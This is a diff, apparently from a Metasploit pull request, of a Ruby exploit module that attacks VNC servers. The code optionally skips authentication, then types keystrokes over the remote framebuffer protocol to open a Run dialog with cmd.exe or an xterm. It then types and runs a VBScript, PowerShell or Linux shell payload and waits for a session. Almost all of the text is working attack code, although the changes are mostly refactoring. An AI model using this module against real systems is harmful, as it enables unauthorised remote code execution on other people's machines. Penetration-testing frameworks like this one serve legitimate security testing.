9
9
class Metasploit3 < Msf ::Exploit ::Remote
10
10
11
11
Rank = GreatRanking
12
+ WINDOWS_KEY = "\xff \xeb "
13
+ ENTER_KEY = "\xff \x0d "
14
+
12
15
include Msf ::Exploit ::Remote ::Tcp
13
16
include Msf ::Exploit ::CmdStager
14
17
include Msf ::Exploit ::Powershell
@@ -24,6 +27,7 @@ def initialize(info = {})
24
27
} ,
25
28
'Author' => [ 'xistence <xistence[at]0x90.nl>' ] ,
26
29
'Privileged' => false ,
30
+ 'DefaultOptions' => { 'WfsDelay' => 20 } ,
27
31
'License' => MSF_LICENSE ,
28
32
'Platform' => %w{ win unix } ,
29
33
'Targets' =>
@@ -39,12 +43,12 @@ def initialize(info = {})
39
43
[
40
44
Opt ::RPORT ( 5900 ) ,
41
45
OptString . new ( 'PASSWORD' , [ false , 'The VNC password' ] ) ,
42
- OptInt . new ( 'TIMEWAIT ' , [ true , 'Time to wait for payload to be executed' , 20 ] )
46
+ OptInt . new ( 'TIME_WAIT ' , [ true , 'Time to wait for payload to be executed' , 20 ] )
43
47
] , self . class )
44
48
end
45
49
46
50
47
- def press_key ( key )
51
+ def press_key ( key )
48
52
keyboard_key = "\x04 \x01 " # Press key
49
53
keyboard_key << "\x00 \x00 \x00 \x00 " # Unknown / Unused data
50
54
keyboard_key << key # The keyboard key
@@ -53,49 +57,46 @@ def press_key( key )
53
57
end
54
58
55
59
56
- def release_key ( key )
60
+ def release_key ( key )
57
61
keyboard_key = "\x04 \x00 " # Release key
58
62
keyboard_key << "\x00 \x00 \x00 \x00 " # Unknown / Unused data
59
63
keyboard_key << key # The keyboard key
60
- # Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
64
+ # Release the keyboard key. Note: No receive is done as everything is sent in one long data stream
61
65
sock . put ( keyboard_key )
62
66
end
63
67
64
68
65
- def exec_command ( command )
69
+ def exec_command ( command )
66
70
values = command . chars . to_a
67
71
values . each do |value |
68
72
press_key ( "\x00 #{ value } " )
69
73
release_key ( "\x00 #{ value } " )
70
74
end
71
- press_key ( @enter_key )
75
+ press_key ( ENTER_KEY )
72
76
end
73
77
74
78
75
- def start_cmdprompt
79
+ def start_cmd_prompt
76
80
print_status ( "#{ rhost } :#{ rport } - Opening Run command" )
77
81
# Pressing and holding windows key for 1 second
78
- press_key ( @windows_key )
79
- select ( nil , nil , nil , 1 )
82
+ press_key ( WINDOWS_KEY )
83
+ Rex . select ( nil , nil , nil , 1 )
80
84
# Press the "r" key
81
85
press_key ( "\x00 r" )
82
86
# Now we can release both keys again
83
87
release_key ( "\x00 r" )
84
- release_key ( @windows_key )
88
+ release_key ( WINDOWS_KEY )
85
89
# Wait a second to open run command window
86
90
select ( nil , nil , nil , 1 )
87
- exec_command ( " cmd.exe" )
91
+ exec_command ( ' cmd.exe' )
88
92
# Wait a second for cmd.exe prompt to open
89
- select ( nil , nil , nil , 1 )
93
+ Rex . select ( nil , nil , nil , 1 )
90
94
end
91
95
92
96
93
97
def exploit
94
98
95
99
begin
96
-
97
- @enter_key = "\xff \x0d "
98
- @windows_key = "\xff \xeb "
99
100
alt_key = "\xff \xe9 "
100
101
f2_key = "\xff \xbf "
101
102
password = datastore [ 'PASSWORD' ]
@@ -104,92 +105,78 @@ def exploit
104
105
vnc = Rex ::Proto ::RFB ::Client . new ( sock , :allow_none => false )
105
106
106
107
unless vnc . handshake
107
- print_error ( "#{ rhost } :#{ rport } - #{ vnc . error } " )
108
- return
108
+ fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - VNC Handshake failed: #{ vnc . error } " )
109
109
end
110
110
111
- unless password . nil?
111
+ if password . nil?
112
+ print_status ( "#{ rhost } :#{ rport } - Bypass authentication" )
113
+ # The following byte is sent in case the VNC server end doesn't require authentication (empty password)
114
+ sock . put ( "\x10 " )
115
+ else
112
116
print_status ( "#{ rhost } :#{ rport } - Trying to authenticate against VNC server" )
113
117
if vnc . authenticate ( password )
114
118
print_status ( "#{ rhost } :#{ rport } - Authenticated" )
115
119
else
116
- print_error ( "#{ rhost } :#{ rport } - #{ vnc . error } " )
117
- return
120
+ fail_with ( Failure ::NoAccess , "#{ rhost } :#{ rport } - VNC Authentication failed: #{ vnc . error } " )
118
121
end
119
- else
120
- print_status ( "#{ rhost } :#{ rport } - Bypass authentication" )
121
- # The following byte is sent in case the VNC server end doesn't require authentication (empty password)
122
- sock . put ( "\x10 " )
123
122
end
124
123
125
-
126
-
127
124
# Send shared desktop
128
125
unless vnc . send_client_init
129
- print_error ( "#{ rhost } :#{ rport } - #{ vnc . error } " )
130
- return
126
+ fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - VNC client init failed: #{ vnc . error } " )
131
127
end
132
128
133
129
if target . name =~ /VBScript CMDStager/
134
-
135
- start_cmdprompt
130
+ start_cmd_prompt
136
131
print_status ( "#{ rhost } :#{ rport } - Typing and executing payload" )
137
132
execute_cmdstager ( { :flavor => :vbs , :linemax => 8100 } )
138
-
139
133
# Exit the CMD prompt
140
- exec_command ( "exit" )
141
-
134
+ exec_command ( 'exit' )
142
135
elsif target . name =~ /Powershell/
143
-
144
- start_cmdprompt
136
+ start_cmd_prompt
145
137
print_status ( "#{ rhost } :#{ rport } - Typing and executing payload" )
146
- command = cmd_psh_payload ( payload . encoded , payload_instance . arch . first , { : remove_comspec => true , : encode_final_payload => true } )
138
+ command = cmd_psh_payload ( payload . encoded , payload_instance . arch . first , { remove_comspec : true , encode_final_payload : true } )
147
139
# Execute powershell payload and make sure we exit our CMD prompt
148
140
exec_command ( "#{ command } && exit" )
149
-
150
141
elsif target . name =~ /Linux/
151
-
152
- print_status ( "#{ rhost } :#{ rport } - Opening \" Run Application\" " )
142
+ print_status ( "#{ rhost } :#{ rport } - Opening 'Run Application'" )
153
143
# Press the ALT key and hold it for a second
154
144
press_key ( alt_key )
155
- select ( nil , nil , nil , 1 )
156
-
145
+ Rex . select ( nil , nil , nil , 1 )
157
146
# Press F2 to start up "Run application"
158
147
press_key ( f2_key )
159
-
160
148
# Release ALT + F2
161
149
release_key ( alt_key )
162
150
release_key ( f2_key )
163
-
164
151
# Wait a second for "Run application" to start
165
- select ( nil , nil , nil , 1 )
166
-
152
+ Rex . select ( nil , nil , nil , 1 )
167
153
# Start a xterm window
168
154
print_status ( "#{ rhost } :#{ rport } - Opening xterm" )
169
- exec_command ( "xterm" )
170
-
155
+ exec_command ( 'xterm' )
171
156
# Wait a second for "xterm" to start
172
- select ( nil , nil , nil , 1 )
173
-
157
+ Rex . select ( nil , nil , nil , 1 )
174
158
# Execute our payload and exit (close) the xterm window
175
159
print_status ( "#{ rhost } :#{ rport } - Typing and executing payload" )
176
160
exec_command ( "nohup #{ payload . encoded } &" )
177
- exec_command ( " exit" )
161
+ exec_command ( ' exit' )
178
162
end
179
163
180
- # Wait up to X seconds, else might timeout/disconnect before full payload is typed
181
- select ( nil , nil , nil , datastore [ 'TIMEWAIT' ] )
164
+ ( datastore [ 'TIME_WAIT' ] ) . times do
165
+ Rex . sleep ( 1 )
166
+
167
+ # Success! session is here!
168
+ break if session_created?
169
+ end
182
170
183
- handler
184
171
rescue ::Timeout ::Error , Rex ::ConnectionError , Rex ::ConnectionRefused , Rex ::HostUnreachable , Rex ::ConnectionTimeout => e
185
- print_error ( "#{ rhost } :#{ rport } - #{ e . message } " )
172
+ fail_with ( Failure :: Unknown , "#{ rhost } :#{ rport } - #{ e . message } " )
186
173
ensure
187
174
disconnect
188
175
end
189
176
end
190
177
191
178
def execute_command ( cmd , opts = { } )
192
- exec_command ( cmd )
179
+ exec_command ( cmd )
193
180
end
194
181
195
182
end
0 commit comments